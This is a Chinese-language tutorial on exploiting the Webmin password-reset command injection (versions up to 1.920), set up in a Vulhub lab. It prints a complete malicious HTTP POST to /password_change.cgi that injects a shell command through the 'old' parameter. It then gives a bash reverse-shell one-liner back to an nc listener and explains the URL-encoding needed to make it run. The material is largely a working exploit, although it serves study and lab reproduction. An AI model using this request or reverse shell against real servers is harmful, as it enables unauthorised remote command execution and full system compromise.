Webmin是一款基于web的Unix系统管理工具、管理员可通过浏览器访问Webmin的各种管理功能,完成对应的管理操作,当用户开启Webmin密码重置功能后,利用该漏洞可执行任意命令,获取系统权限
漏洞版本:Webmin<=1.9.20
使用Vulhub来快速启动漏洞环境
docker-compose up -d 启动环境
直接使用浏览器访问该IP的10000端口
然后抓包构造以下数据,当我们的用户名存在时会直接返回修改密码失败,原密码错误,不会执行后面的命令。
这种思路其实可以也用到逻辑测试上,当用户存在时不存在漏洞,但是当用户不存在时确可以执行命令。
所以我们需要构造一个系统内不存在的用户,然后在old参数中使用 | 来连接执行命令。
1 POST /password_change.cgi HTTP/1.1 2 Host: 192.168.0.103:10000 3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0 4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 5 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 6 Accept-Encoding: gzip, deflate 7 Content-Type: application/x-www-form-urlencoded 8 Content-Length: 61 9 Origin: https://192.168.0.103:1000010 Connection: close11 Referer: https://192.168.0.103:10000/12 Cookie: redirect=1; testing=1;sid=x;sessiontest=113 Upgrade-Insecure-Requests: 114 15 user=root111&pam=&expired=2&old=test|ls&new1=test2&new2=test2
其实在测试参数中只要确保存在user、old、new1、new2这四个参数就可执行命令
简单利用:
使用nc监听8888端口
然后使用bash反弹shell
bash -c "bash -i >& /dev/tcp/192.168.0.102/8888 0>&1"
这里需要进行一下URL编码
这里一直不明白为什么一定要用编码才能执行命令
其实是因为“&”符号,当程序在运行时遇到&符时,会被当做逻辑符号来解释,但前面我们输入的密码是假的,所以不能执行命令,我们只需要把“&”符进行编码就可以执行命令反弹shell
成功反弹回来
完结!!!